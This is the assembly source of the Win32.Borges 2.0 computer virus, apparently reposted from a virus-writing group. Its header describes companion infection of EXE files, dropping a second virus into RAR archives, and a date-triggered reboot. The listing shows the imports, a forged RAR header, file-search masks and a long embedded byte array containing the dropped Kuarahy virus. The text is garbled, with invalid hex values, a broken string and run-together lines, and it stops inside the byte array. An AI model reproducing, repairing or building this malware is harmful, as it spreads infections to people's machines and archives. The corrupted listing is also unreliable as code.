Win32.Borges2.asm

xiaoxiao2021-03-05  22

;;

; ------------> Win32.Borges Virus Ver 2.0 by Int13h / IKX <-------------;

EXE COMPANON WITH DIRECTORY NAVigation. It Drops a Virus over Rar;

Archives. ON Setember 19 Reboots The Machine and On Tuesdays Puts A;

Text in the clipboard. 璊 Orge Luis Borges Se Merec El Premio Nobel !;

Putrido Sueco COMITE NOBEL;

; - - - - - - - - - - - - - - - - - - -.

;;

;

Tasm32 / ml / m3 borges.asm,

TLINK32 / TPE / AA / C / V borges.obj ,, import32.lib,

;

.386

.MODEL FLAT

Locals

EXTRN FINDFIRSTFILEA: PROC

EXTRN FINDNEXTFILEA: PROC

EXTRN SETCURRENTDIRECTORYA: PROC

EXTRN GETCURRENTDIRECTORYA: PROC

EXTRN GETSYSTEMTIME: Proc

EXTRN MOVEFILEA: PROC

EXTRN COPYFILEA: PROC

EXTRN CREATEFILEA: PROC

EXTRN WRITEFILE: PROC

EXTRN SETFILEPOINTER: PROC

EXTRN CLOSEHANDLE: PROC

EXTRN GLOBALLOC: PROC

EXTRN GLOBAllock: Proc

Extrn GlobalUnlock: Proc

EXTRN OpenClipboard: Proc

EXTRN SETCLIPBOARDDATA: PROC

EXTRN EMPTYCLIPBOARD: PROC

EXTRN CloseClipboard: Proc

EXTRN GETTICKCOUNT: PROC

EXTRN GETCOMMANDLINEA: PROC

EXTRN CREATEPROCESSA: PROC

EXTRN LSTRCPYA: PROC

EXTRN Messageboxa: Proc

EXTRN EXITWINDOWSEX: PROC

EXTRN EXITPROCESS: PROC

Headersize EQU FinRarheader-Rarheader

Size EQU 4774

.DATA

Tituloventana DB 'Win32.Borges Virus 2.0 by INT13H / IKX', 0

TextOventana DB 'Made in Paraguay, South America, 0

Posicion DD 0

MemHandle DD 0

FileHandle DD 0

Chequeo DD 0

Number DD 0

Victimas DB '* .exe', 0

Victimas2 db '* .rar', 0

Rarheader:

RarheaderCrc DW 0

Rartype DB 074H

RARFLAGS DW 8000H

Rarheadsize dw headersize

RARCOMPRESSED DD SIZE

Raroriginal DD Size

Raros DB 0

RARCRC32 DD 0

RARFILETIME DB 063H, 078H

RARFILEDATE DB 031H, 024H

Rarneedver DB 014hrarmethod db 030h

RarfnameSize DW FinRarheader-RarName

RARATTRIB DD 0

Rarname DB "kuarahy.exe"

FinRarheader Label Byte

Searchandle1 DD 0

Searchandle2 DD 0

Longitude DD 0

ProcessInfo DD 4 DUP (0)

Startupinfo DD 4 DUP (0)

Win32FindData DD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

HALLADO DB 200 DUP (0)

CREAR DB 200 DUP (0)

ParacorRer DB 200 DUP (0)

Original DB 200 DUP (0)

Actual DB 200 DUP (0)

Puntopunto db '..', 0

SystemTimeStruc DW 0, 0, 0, 0, 0, 0, 0, 0

Kuarahy2:; Virus to Drop: Kuarahy 1.1 COM / EXE / SYS / OBJ / OVL / BAT / ARJ / RAR / BS / MBR

DB 0EBH, 03CH, 090H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 0BFH, 04DH, 001H, 0B9H, 0D8H, 000H, 02EH, 081H, 035H, 0FEH, 0D2H, 047H, 047H

DB 0E2H, 0F7H, 07FH, 0-1H, 0F2H, 08BH, 0D1H, 017H, 07AH, 0FFH, 0F9H, 03EH

DB 028H, 070H, 002H, 042H, 0D2H, 082H, 029H, 002H, 0C4H, 0E1H, 01FH, 0GH, 0FFH, 0F2H, 0D2H

DB 05DH, 0C1H, 0FAH, 063H, 0F8H, 001H, 01EH, 05CH, 03EH, 06CH, 0FEH, 047H, 047H

DB 0D2H, 0FH, 021H, 05BH, 06AH, 0F7H, 0D0H, 045H, 0D2H, 0FCH, 057H, 07EH, 0ECH, 057H, 0D2H

DB 0B8H, 0A6H, 0F6H, 06BH, 0FDH, 0D2H, 044H, 052H, 0FEH, 039H, 0FBH, 06BH, 0FCH, 082H, 0D5H

DB 000H, 033H, 0C1H, 046H, 0DBH, 0FCH, 01FH, 0EDH, 0A1H, 0FDH, 03BH, 05BH, 0D2H, 0F8H, 069H

DB 052H, 0D2H, 0ADH, 019H, 0B6H, 081H, 0FEH, 06AH, 0DEH, 0D2H, 016H, 09CH, 0FFH, 0FCH, 038H

DB 0D4H, 055H, 0D2H, 0FEH, 0F4H, 038H, 0D4H, 054H, 0D2H, 0ADH, 0F4H, 038H, 0D4H, 04BH, 0D9H

DB 0B0H, 073H, 0B2H, 0D2H, 0D8H, 071H, 062H, 0D3H, 039H, 0D4H, 0B2H, 0D2H, 08FH, 0D3H, 05FH

DB 09ch, 0FEH, 0F4H, 05DH, 04CH, 0FFH, 05EH, 0F8H, 09CH, 0FEH, 06AH, 0FH, 0D0H, 045H, 064H

DB 0ECH, 06BH, 0FFH, 0D2H, 044H, 052H, 0FEH, 04EH, 0D0H, 02DH, 0E0H, 04EH, 0B5H, 07FH, 06DH, 0B5H, 0D2H, 01CH, 025H, 08AH, 09DH, 0D8H, 014h, 0f8h, 07bh, 0feh, 09ah

DB 0E0H, 0D4H, 0E1H, 0E1H, 001H, 06AH, 0FFH, 0D1H, 045H, 064H, 0GH, 06BH, 0FCH, 0D2H, 044H

DB 052H, 0FEH, 01FH, 0EDH, 0FCH, 038H, 0D4H, 0ECH, 0DEH, 09CH, 085H, 0E0H, 0D4H, 043H, 0DDH

DB 0fch, 03ah, 049h, 0d9h, 0f9h, 0 cdh, 0a1h, 06ch, 089h, 0c2h, 045h, 0B1H, 0EBH, 03AH, 0E2H

DB 0DDH, 046H, 0DBH, 0FDH, 069H, 09DH, 0C5H, 047H, 0D1H, 0GEH, 068H, 07EH, 0D2H, 033H, 0C1H

DB 07DH, 02DH, 0DEH, 0A7H, 0FFH, 011H, 0E1H, 0F4H, 038H, 0D4H, 057H, 0D2H, 0B8H, 0F4H, 07EH

DB 0ECH, 057H, 0D2H, 0B8H, 0A6H, 0F6H, 068H, 07EH, 0D2H, 047H, 0D0H, 0FEH, 039H, 0FBH, 0E1H

DB 02CH, 06BH, 0FFH, 082H, 0E0H, 0D5H, 045H, 0D2H, 082H, 06AH, 0FFH, 0D0H, 033H, 0C1H, 046H

DB 0D3H, 0FCH, 01FH, 0EDH, 038H, 0FEH, 0AEH, 0FEH, 0D2H, 016H, 08DH, 0F3H, 0EFH, 0EDH, 01FH

DB 08BH, 0D1H, 017H, 0CBH, 0F3H, 052H, 002H, 0D1H, 08BH, 0D1H, 017H, 0D3H, 0F5H, 052H, 002H

DB 0D0H, 08BH, 0C0H, 07DH, 02BH, 0FH, 0A7H, 0F3H, 057H, 02CH, 0A7H, 0FDH, 03BH, 0A4H, 0DFH

DB 07FH, 028H, 07EH, 0D2H, 08AH, 0D7H, 014H, 0D2H, 0FEH, 0D2H, 0FEH, 083H, 04FH, 0D0H, 033H

DB 0C1H, 0A7H, 018H, 0FCH, 0D2H, 0AEH, 083H, 0A, 06AH, 0FH, 0D0H, 0CDH, 000H, 047H, 0D3H

DB 0AEH, 04EH, 0D0H, 02DH, 0E0H, 04EH, 0GFH, 06AH, 0FH, 0D0H, 062H, 062H, 001H, 0CCH, 062H

DB 0D3H, 0A4H, 08BH, 0A6H, 018H, 0FCH, 0D2H, 0DEH, 0ECH, 0B5H, 087H, 0BFH, 080H, 0BFH, 09AH

DB 0A7H, 0EEH, 0DEH, 0F2H, 0B5H, 0BDH, 09FH, 0F2H, 096H, 0B3H, 0D9H, 0B7H, 0DEH, 09BH, 090H

DB 0A6H, 0CFH, 0E1H, 096H, 0FDH, 0B7H, 099H, 0A6H, 0F2H, 08CH, 0B7H, 093H, 0B0H, 097H, 0B3H

DB 08EH, 0BDH, 095H, 0A7H, 07CH, 0F2H, 096H, 0BBH, 090H, 0B3H, 0DFH, 0F2H, 0C4H, 0FBH, 020H

DB 055H, 0AAH, 0BEH, 00FH, 003H, 0B9H, 04BH, 008H, 02EH, 081H, 034H, 038H, 03CH, 046H, 046H

DB 0E2H, 0F7H, 005H, 01CH, 038H, 049H, 039H, 0GFH, 0D0H, 03CH, 038H, 061H, 0B9H, 0D1H, 020H

DB 03EH, 016H, 0BCH, 086H, 02EH, 034H, 06FH, 04DH, 03FH, 0D1H, 03DH, 03EH, 084H, 02BH, 0F1H

DB 0F5H, 01DH, 005H, 0F1H, 02BH, 049H, 03BH, 0D5H, 0E9H, 03CH, 03EH, 084H, 019H, 009H, 0F5HDB 01DH, 016H, 0B5H, 0A6H, 0E7H, 03CH, 012H, 0B4H, 0BAH, 0E5H, 038H, 016H, 0B5H, 0A6H, 02FH

DB 034H, 012H, 0B4H, 0BAH, 02DH, 030H, 026H, 0F9H, 026H, 03AH, 038H, 0BCH, 007H, 0D6H, 04DH

DB 022H, 0FDH, 063H, 039H, 0BDH, 007H, 0AH, 0A8H, 049H, 0CAH, 0BFH, 0D3H, 00, 0B9H, 003H

DB 0A8H, 0A, 04DH, 030H, 016H, 0B5H, 0A6H, 02FH, 034H, 012H, 0B4H, 0A2H, 02DH, 030H, 0D3H

DB 033H, 0B9H, 003H, 026H, 012H, 04DH, 035H, 0BBH, 0FH, 01DH, 0BDH, 007H, 0C6H, 0B8H, 048H

DB 0DDH, 023H, 080H, 02FH, 0F5H, 0F1H, 02BH, 001H, 015H, 02FH, 04DH, 015H, 06BH, 03BH, 036H

DB 023H, 0B5H, 08AH, 0E3H, 038H, 087H, 0E7H, 03CH, 099H, 09DH, 0B1H, 08EH, 02FH, 034H, 083H

DB 02BH, 030H, 09DH, 099H, 00BH, 0FCH, 0B6H, 0FCH, 0C2H, 083H, 0BCH, 03CH, 080H, 0ADH, 03CH

DB 097H, 0B3H, 0FFH, 093H, 0C7H, 03FH, 0D7H, 074H, 0B0H, 0E0H, 074H, 0B6H, 0FCH, 01EH, 09DH

DB 03BH, 03CH, 015H, 0F9H, 03AH, 0AFH, 026H, 03BH, 08CH, 076H, 0F5H, 01DH, 08CH, 074H, 083H

DB 0F8H, 03AH, 0F1H, 019H, 074H, 0B6H, 03EH, 03GH, 038H, 034H, 038H, 01AH

DB 0FFH, 03AH, 030H, 03CH, 041H, 077H, 078H, 0B2H, 0F8H, 00FH, 0C7H, 032H, 027H, 0B1H, 08EH

DB 03CH, 038H, 085H, 003H, 010H, 0CBH, 098H, 01EH, 033H, 072H, 03EH, 023H

DB 080H, 01DH, 01DH, 086H, 0A9H, 038H, 0F5H, 01DH, 03FH, 084H, 0C6H, 0F6H, 0F5H, 01DH, 0B8H

DB 082H, 02AH, 030H, 07BH, 048H, 052H, 0BCH, 086H, 02EH, 034H, 07EH, 04DH, 03FH, 0D1H, 041H

DB 038H, 0BCH, 086H, 02EH, 034H, 073H, 04DH, 03FH, 0D1H, 037H, 039H, 00FH, 0C7H, 0BCH, 086H

DB 02EH, 034H, 07DH, 04DH, 03FH, 0D1H, 011H, 039H, 0BCH, 086H, 02EH, 034H, 06EH, 04DH, 03FH

DB 0D1H, 01FH, 039H, 088H, 012H, 0F1H, 019H, 0BCH, 0C2H, 031H, 04DH, 031H, 087H, 01CH, 038H

DB 03AH, 06DH, 0D4H, 02AH, 03DH, 065H, 03BH, 0A9H, 0F1H, 02EH, 03AH, 027H, 0B7H, 0E5H, 0B0H

DB 0F8H, 039H, 028H, 03CH, 016H, 03DH, 0BFH, 04AH, 03BH, 0C6H, 016H, 03FH, 0BFH, 046H, 03BH

DB 0B2H, 0E8H, 012H, 0B3H, 09BH, 040H, 03FH, 0C3H, 0D4H, 021H, 03CH, 0D3H, 03CH, 0D2H, 02CH

DB 038H, 03CH, 038H, 02CH, 038H, 059H, 03FH, 0D4H, 0DBH, 034H, 0B5H, 08AH, 0CFH, 037H, 087HDB 03CH, 039H, 06BH, 0C4H, 098H, 09DH, 00FH, 0F8H, 017H, 0E3H, 00fh, 0f1h, 017h, 0eah, 00FH

DB 0CEH, 017H, 0C7H, 00FH, 0D5H, 0FFH, 0D0H, 0FAH, 030H, 09DH, 014H, 03CH, 0B4H, 0B2H, 089H

DB 02CH, 0B4H, 0B2H, 08DH, 02CH, 0B1H, 0BAH, 091H, 02CH, 0B4H, 0B2H, 095H, 02CH, 0B6H, 03AH

DB 014H, 03CH, 013H, 049H, 073AH, 07BH, 07FH, 04H, 07BH, 07FH, 03AH, 027H, 079H, 073H, 07BH, 07FH, 03AH, 027H

DB 032H, 03FH, 0B7H, 0CFH, 0B1H, 086H, 070H, 02AH, 085H, 0B8H, 03CH, 0CBH, 098H, 036H, 032H

DB 027H, 03BH, 012H, 0FCH, 0B5H, 082H, 074H, 02EH, 081H, 041H, 038H, 0CEH, 096H, 0FBH, 07DH

DB 0C0H, 07AH, 07DH, 0FEH, 079H, 0C6H, 068H, 086H, 0BCH, 038H, 073H, 0B2H, 032H, 0B8H, 03CH

DB 00AH, 0D1H, 0C6H, 0FDH, 086H, 0BDH, 038H, 0CFH, 09CH, 0B1H, 08EH, 074H, 02AH, 083H, 0B8H

DB 03CH, 094H, 000H, 035H, 048H, 03BH, 096H, 0D3H, 0C4H, 092H, 0BDH, 0D7H, 0BDH, 038H, 0B7H

DB 0F7H, 0B4H, 036H, 0BCH, 038H, 0C6H, 084H, 04CH, 02FH, 0C7H, 08CH, 076H, 083H, 018H, 03AH

DB 0f1H, 019H, 0B1H, 0AEH, 08BH, 028H, 084H, 038H, 077H, 0B5H, 0A2H, 091H, 02CH, 0F5H, 01DH

DB 08CH, 071H, 0F5H, 01DH, 08CH, 070H, 0F5H, 01DH, 0D0H, 012H, 030H, 0B1H, 08EH, 068H, 03CH

DB 083H, 038H, 0C6H, 0B3H, 0FBH, 081H, 039H, 038H, 0CFH, 09DH, 098H, 0B5H, 08AH, 09EH, 02EH

DB 087H, 03CH, 039H, 06BH, 081H, 05CH, 0D2H, 00FH, 0E3H, 00FH, 0EAH, 0C3H, 0D8H, 0CFH, 09CH

DB 00FH, 0CEH, 017H, 0C7H, 00Fh, 0F8H, 017H, 0F1H, 000H, 0D0H, 03CH, 030H, 088H, 031H, 0B1H

DB 0AEH, 068H, 033H, 0F1H, 019H, 085H, 022H, 03CH, 0B5H, 08AH, 0EEH, 02CH, 0B3H, 0D2H, 082H

DB 07DH, 038H, 06DH, 080H, 03CH, 029H, 087H, 038H, 032H, 081H, 03DH, 038H, 0F1H, 028H, 07EH

DB 0BBH, 0F9H, 036H, 065H, 0DAH, 0D1H, 0BBH, 0C3H, 018H, 049H, 039H, 0FH, 0F5H, 01CH, 0D0H

DB 003H, 032H, 001H, 02BH, 0F1H, 04DH, 03FH, 0D1H, 0C5H, 031H, 001H, 0C6H, 0F6H, 04DH, 03FH

DB 0D1H, 060H, 033H, 0BCH, 0C4H, 077H, 04DH, 03FH, 0D1H, 0B0H, 038H, 0BCH, 0C4H, 06AH, 04DH

DB 03FH, 0D1H, 0B8H, 038H, 0BCH, 0C4H, 07FH, 04CH, 043H, 0A8H, 0C4H, 0A8H, 0BCH, 0C4H, 001H

DB 04CH, 04BH, 005H, 03CH, 054H, 048H, 04AH, 001H, 019H, 009H, 04CH, 028H, 005H, 01DH, 01DHDB 048H, 022H, 001H, 038H, 06BH, 04CH, 07BH, 005H, 03DH, 06FH, 048H, 023H, 0D6H, 035H, 07DH

DB 022H, 03CH, 016H, 0B7H, 026H, 0E7H, 03CH, 012H, 0B6H, 03AH, 0E5H, 038H, 0F7H, 012H, 0B1H

DB 02AH, 0E3H, 038H, 016H, 0B0H, 026H, 0E1H, 03CH, 080H, 06AH, 06DH, 080H, 03CH, 06FH, 0A0H

DB 016H, 0C3H, 026H, 02FH, 034H, 0BCH, 0D9H, 023H, 0B8H, 0C5H, 026H, 049H, 030H, 065H, 0B8H

DB 0DDH, 0D8H, 0BCH, 0F1H, 022H, 069H, 065H, 062H, 084H, 039H, 06BH, 0A4H, 012H, 0C7H, 022H

DB 02BH, 030H, 0F7H, 0A0H, 016H, 0C3H, 026H, 02FH, 034H, 06DH, 0B8H, 0DDH, 027H, 0BCH, 0C1H

DB 022H, 04DH, 034H, 061H, 0BCH, 0D9H, 0DCH, 0B8H, 0F5H, 039H, 06DH, 061H, 0F3H, 088H, 03FH

DB 0f7h, 0A0H, 068H, 06FH, 069H, 06EH, 06EH, 06BH, 06DH, 022H, 03EH, 001H, 038H, 050H, 04DH

DB 036H, 0BBH, 0C6H, 039H, 048H, 03BH, 0D5H, 0A8H, 03EH, 0B3H, 0EAH, 06AH, 022H, 080H, 018H

DB 00DH, 0F1H, 019H, 012H, 0B1H, 022H, 092H, 02EH, 016H, 0B0H, 03EH, 090H, 02AH, 032H, 027H

DB 084H, 01CH, 019H, 082H, 009H, 03DH, 0F1H, 019H, 023H, 062H, 012H, 0B1H, 02AH, 096H, 02EH

DB 016H, 0B0H, 026H, 08CH, 02AH, 0B0H, 0E3H, 022H, 03FH, 0C0H, 0B3H, 0C6H, 081H, 0BCH, 038H

DB 08CH, 016H, 0CEH, 096H, 048H, 03BH, 0D5H, 070H, 03EH, 01EH, 0B7H, 07DH, 0C1H, 035H, 01CH

DB 018H, 001H, 056H, 058H, 04DH, 03FH, 0D1H, 005H, 03AH, 001H, 059H, 052H, 04DH, 03FH, 0D1H

DB 00DH, 03AH, 001H, 059H, 04AH, 04DH, 03FH, 0D1H, 015H, 03AH, 001H, 057H, 048H, 04DH, 03FH

DB 0D1H, 01DH, 03AH, 001H, 04AH, 058H, 04DH, 03FH, 0D1H, 025H, 03AH, 001H, 04AH, 049H, 04DH

DB 03FH, 0D1H, 02DH, 03AH, 001H, 051H, 048H, 04DH, 03FH, 0D1H, 035H, 03AH, 001H, 04EH, 04CH

DB 04DH, 03FH, 0D1H, 03DH, 03AH, 001H, 051H, 052H, 04DH, 03FH, 0D1H, 0C5H, 039H, 001H, 054H

DB 04CH, 04DH, 03FH, 0D1H, 0CDH, 039H, 032H, 03FH, 082H, 08EH, 028H, 0BFH, 0CBH, 09DH, 098H

DB 0D0H, 048H, 03EH, 0D4H, 0DAH, 03BH, 04BH, 03FH, 0D1H, 0E1H, 039H, 084H, 038H, 001H, 0A4H

DB 012H, 0C7H, 022H, 02BH, 030H, 04BH, 03FH, 0D1H, 03H, 039H, 0AFH, 036H, 023H, 0FEH, 03AH

DB 091H, 03CH, 070H, 03AH, 06BH, 084H, 018H, 02EH, 02AH, 013H, 080H, 02AH, 02AH, 00Eh, 021H, 010H, 013H, 01EH, 0B6H, 075H, 038H, 0B6H, 075H, 038H, 0B, 032H, 090H, 02EH, 01EH, 0FAH

DB 07DH, 038H, 018H, 01AH, 0FEH, 079H, 03AH, 03EH, 0B1H, 002H, 08AH, 02EH, 0B4H, 03AH, 08CH

DB 02EH, 063H, 03BH, 080H, 03DH, 07BH, 086H, 045H, 02CH, 013H, 0F5H, 0A4H, 012H, 0C7H, 022H

DB 02BH, 030H, 08CH, 07DH, 082H, 041H, 028H, 0F1H, 019H, 088H, 079H, 086H, 0B2H, 02CH, 0F5H

DB 01DH, 08CH, 07DH, 082H, 0A9H, 028H, 0F1H, 019H, 088H, 079H, 086H, 099H, 02CH, 0F5H, 01DH

DB 080H, 03CH, 06FH, 0A0H, 0C7H, 022H, 02BH, 030H, 0B1H, 032H, 018H, 030H, 0B1H, 02AH, 011H

DB 030H, 0B1H, 02AH, 0BAH, 02EH, 0B8H, 0DDH, 027H, 0BCH, 0C1H, 022H, 04DH, 03FH, 0D1H, 06DH

DB 039H, 088H, 007H, 085H, 015H, 03CH, 082H, 08AH, 02CH, 0F1H, 019H, 0B7H, 0CAH, 0B7H, 03CH

DB 0D5H, 050H, 038H, 06BH, 088H, 008H, 0F1H, 019H, 067H, 004H, 03BH, 04AH, 03FH, 0D1H, 013H

DB 039H, 0D4H, 08EH, 039H, 0BDH, 0EEH, 04CH, 03FH, 0D1H, 019H, 039H, 001H, 0A8H, 0DEH, 04EH

DB 03FH, 0D1H, 021H, 039H, 001H, 0A2H, 03EH, 04FH, 03FH, 0D1H, 029H, 039H, 0BDH, 044H, 037H

DB 06FH, 068H, 04DH, 03FH, 0D1H, 037H, 039H, 083H, 0CFH, 037H, 09DH, 098H, 015H, 03FH, 038H

DB 09FH, 08FH, 037H, 0B3H, 0D4H, 0B9H, 0F9H, 02AH, 03FH, 0D0H, 03CH, 03EH, 085H, 09EH, 02EH

DB 082H, 05FH, 02DH, 088H, 078H, 0F1H, 019H, 0D4H, 057H, 039H, 08CH, 07CH, 081H, 03FH, 038H

DB 086H, 08EH, 037H, 0F5H, 01DH, 0D1H, 0EBH, 038H, 0BCH, 006H, 02EH, 034H, 06FH, 04DH, 03FH

DB 0D1H, 0EFH, 038H, 0BFH, 044H, 024H, 078H, 04EH, 03BH, 0D5H, 04H, 03CH, 0BBH, 040H, 022H

DB 03CH, 04CH, 03FH, 0D1H, 0FDH, 038H, 0BDH, 044H, 017H, 06FH, 068H, 04DH, 03FH, 0D1H, 08BH

DB 038H, 0D4H, 006H, 039H, 081H, 03CH, 03AH, 0CBH, 0C9H, 037H, 0EAH, 048H, 039H, 07CH, 001H

DB 068H, 03AH, 048H, 03BH, 0D5H, 09AH, 03CH, 001H, 078H, 03CH, 048H, 03BH, 0D5H, 0A2H, 03CH

DB 0D0H, 01DH, 03DH, 06FH, 06AH, 06CH, 028H, 09BH, 048H, 03BH, 0BH, 03EH

DB 04AH, 03BH, 0F8H, 03EH, 0F8H, 02CH, 0B0H, 03EH, 044H, 03BH, 09FH, 042H, 03FH, 099H, 082H

DB 02CH, 08DH, 03CH, 0EFH, 0D8H, 0AFH, 060H, 066H, 068H, 06EH, 012H, 038HDB 085H, 028H, 03CH, 0CFH, 0CDH, 0B1H, 02AH, 0F2H, 028H, 0B3H, 0D6H, 09BH, 0F0H, 02CH, 09FH

DB 0fch, 028H, 0FFH, 03AH, 0FEH, 028H, 038H, 03CH, 062H, 064H, 03DH, 09AH, 02AH, 0BFH, 0EAH

DB 03CH, 089H, 035H, 068H, 0EFH, 0D0H, 0EFH, 0F2H, 037H, 0EAH, 0C5H, 02BH, 0ECH, 060H, 0BCH

DB 0DCH, 03DH, 0B1H, 02AH, 082H, 028H, 09BH, 084H, 02CH, 09DH, 0F8H, 028H, 0C0H, 039H, 013H

DB 03DH, 04AH, 03FH, 09BH, 0FCH, 02CH, 0FBH, 03EH, 0FEH, 02CH, 0C3H, 0C7H, 067H, 0B9H, 0F9H

DB 037H, 03EH, 0D0H, 01AH, 03DH, 085H, 09EH, 02EH, 08CH, 07CH, 082H, 05FH, 02DH, 0F1H, 019H

DB 0D4H, 0ADH, 038H, 08CH, 07CH, 081H, 026H, 038H, 086H, 08EH, 028H, 0F5H, 01DH, 0D0H, 077H

DB 03CH, 0D4H, 025H, 03FH, 08CH, 002H, 0F5H, 01DH, 036H, 023H, 080H, 018H, 01DH, 012H, 0FDH

DB 02AH, 092H, 02EH, 0F5H, 01DH, 03FH, 023H, 065H, 063H, 066H, 066H, 061H, 067H, 060H, 0A1H

DB 016H, 0C3H, 016H, 0E7H, 03CH, 0BCH, 006H, 02EH, 034H, 06FH, 04DH, 0E6H, 0B3H, 078H, 03EH

DB 09FH, 012H, 034H, 0D0H, 067H, 03CH, 09FH, 084H, 028H, 0B9H, 03AH, 084H, 028H, 038H, 03EH

DB 0B3H, 0D4H, 0B9H, 0F9H, 037H, 03EH, 0D0H, 0F4H, 03CH, 085H, 09EH, 02EH, 08CH, 07CH, 082H

DB 05FH, 02DH, 0F1H, 019H, 0D4H, 00FH, 038H, 08CH, 07CH, 081H, 036H, 038H, 086H, 08EH, 028H

DB 0F5H, 01DH, 0D3H, 09CH, 080H, 070H, 038H, 06CH, 06BH, 06DH, 06AH, 06AH, 03EH, 022H, 036H

DB 032H, 027H, 03BH, 080H, 02FH, 0F5H, 0F1H, 02BH, 001H, 075H, 02FH, 04CH, 075H, 080H, 03DH

DB 03AH, 0B1H, 0A6H, 09AH, 02AH, 085H, 039H, 03CH, 082H, 0BCH, 038H, 0F1H, 02BH, 01AH, 0B9H

DB 083H, 073H, 03CH, 0DAH, 0CBH, 04CH, 00DH, 080H, 03DH, 03BH, 085H, 03AH, 03CH, 0F5H, 02FH

DB 01EH, 0FBH, 0BEH, 035H, 03AH, 03CH, 038H, 0B7H, 0CDH, 06AH, 0B9H, 0FAH, 007H, 03CH, 0FFH

DB 038H, 075H, 040H, 063H, 0B1H, 08EH, 04BH, 028H, 0D4H, 0F6H, 03BH, 080H, 035H, 03BH, 0B1H

DB 0A6H, 03CH, 03AH, 085H, 03BH, 03CH, 082H, 0BCH, 038H, 0F1H, 02BH, 088H, 03CH, 0F1H, 022H

DB 0BCH, 0C2H, 02FH, 04DH, 020H, 0D0H, 03CH, 038H, 067H, 0B9H, 0D7H, 0AEH, 034H, 0B5H, 08BH

DB 06CH, 037H, 081H, 076H, 038H, 090H, 013H, 0E7H, 08CH, 032H, 0F5H, 027H, 0DAH, 02AH, 027H, 03BH, 066H, 066H, 061H, 067H, 013H, 061H, 067H, 013H, 061H, 067H, 013H, 061H, 067H, 013H, 061H, 067H, 013h, 0fch, 0fbh, 0bch, 006h, 02eh

DB 034H, 073H, 04CH, 03FH, 0D1H, 031H, 0C7H, 0D4H, 0B7H, 03FH, 00BH, 0C3H, 0D0H, 0BFH, 03DH

DB 000H, 098H, 048H, 023H, 000H, 09AH, 048H, 02FH, 000H, 0B2H, 048H, 058H, 000H, 0B4H, 049H

DB 03BH, 0D5H, 0CAH, 0C2H, 080H, 03DH, 07AH, 00FH, 0F1H, 0F1H, 019H, 04FH, 0D9H, 0D5H, 0DEH

DB 0C2H, 06AH, 084H, 039H, 07EH, 013H, 0F5H, 0A1H, 08H, 019H, 06EH, 068H, 088H, 007H, 085H

DB 03BH, 03CH, 082H, 079H, 02AH, 0F1H, 019H, 037H, 0C7H, 049H, 029H, 07BH, 0B9H, 002H, 07EH

DB 02EH, 038H, 03DH, 04CH, 034H, 0C2H, 0BFH, 0FCH, 03AH, 0C3H, 0D5H, 084H, 0C2H, 0B9H, 03AH

DB 07EH, 02EH, 09EH, 02EH, 062H, 065H, 069H, 06EH, 080H, 03CH, 07AH, 01H, 019H, 088H, 078H

DB 086H, 07DH, 02EH, 081H, 03FH, 038H, 0F1H, 019H, 066H, 061H, 084H, 038H, 07EH, 0F5H, 01DH

DB 062H, 0D7H, 09FH, 085H, 0C7H, 0C3H, 082H, 0C1H, 0C7H, 084H, 039H, 07EH, 0F5H, 01DH, 081H

DB 03AH, 038H, 086H, 0E8H, 02CH, 08CH, 07CH, 0F5H, 01DH, 085H, 033H, 03BH, 0D4H, 0BFH, 03FH

DB 08CH, 07CH, 081H, 09AH, 02AH, 086H, 05BH, 029H, 07CH, 01DH, 08CH, 07CH, 081H, 036H, 038H

DB 086H, 0FEH, 02CH, 0F5H, 01DH, 0D1H, 05DH, 0C6H, 0D4H, 094H, 03EH, 03EH, 0D4H, 045H, 03DH

DB 03FH, 088H, 006H, 0F1H, 019H, 012H, 0FDH, 00AH, 096H, 02EH, 087H, 0DFH, 02CH, 0B7H, 0EFH

DB 085H, 0B8H, 03CH, 094H, 000H, 016H, 048H, 03BH, 096H, 0DAH, 0C4H, 092H, 032H, 027H, 0FBH

DB 03DH, 07FH, 077H, 0FBH, 07DH, 03EH, 075H, 03CH, 08CH, 000H, 081H, 01CH, 038H, 0F1H, 019H

DB 04FH, 03BH, 0D5H, 00ah, 0C2H, 0ABH, 06EH, 085H, 033H, 03BH, 0D4H, 017H, 03FH, 081H, 09AH

DB 02AH, 088H, 078H, 086H, 05BH, 029H, 0F5H, 01DH, 08CH, 002H, 0F5H, 01DH, 062H, 06EH, 080H

DB 03EH, 005H, 0A0H, 016H, 0C3H, 026H, 02FH, 034H, 0AFH, 0D0H, 06DH, 03AH, 088H, 006H, 0F1H

DB 019H, 066H, 080H, 03DH, 07BH, 085H, 01BH, 03CH, 0A4H, 012H, 0C7H, 022H, 02BH, 030H, 0D1H

DB 0C5H, 0C5H, 072H, 071H, 074H, 071H, 070H, 018H, 07DH, 06BH, 06FH, 07DH, 071H, 07AH, 070H

DB 07DH, 06EH, 018H, 071H, 079H, 075H, 06DH, 06FH, 019H, 001H, 06BH, 05DH, 04CH, 03FH, 0D1HDB 0EBH, 0C5H, 0D4H, 05FH, 03EH, 087H, 050H, 02AH, 085H, 03CH, 03CH, 0D0H, 003H, 039H, 081H

DB 037H, 03FH, 0D0H, 0F2H, 03AH, 084H, 03AH, 07EH, 0A1H, 00FH, 0F1H, 0F1H, 019H, 082H, 05BH

DB 029H, 081H, 09AH, 02AH, 0D4H, 07CH, 038H, 0B1H, 02AH, 066H, 02EH, 09BH, 060H, 02AH, 082H

DB 076H, 02EH, 081H, 01AH, 038H, 0D4H, 00CH, 038H, 09BH, 070H, 02AH, 088H, 078H, 086H, 074H

DB 02EH, 081H, 014H, 038H, 0F1H, 019H, 0FBH, 03EH, 070H, 02AH, 03CH, 038H, 0FBH, 03EH, 060H

DB 02AH, 03CH, 038H, 0FBH, 03EH, 062H, 02AH, 03CH, 038H, 086H, 05BH, 029H, 081H, 09AH, 02AH

DB 088H, 078H, 0F1H, 019H, 0D5H, 04AH, 0C1H, 0D0H, 034H, 03AH, 083H, 0AEH, 02EH, 081H, 038H

DB 038H, 0D4H, 0D8H, 03CH, 085H, 033H, 03BH, 0D4H, 057H, 03EH, 080H, 03EH, 07AH, 00FH, 0F1H

DB 0A5H, 0F5H, 01DH, 0BFH, 0F6H, 0B3H, 0ECH, 0BBH, 0D6H, 03CH, 0BFH, 0E1H, 03DH, 0BBH, 0FDH

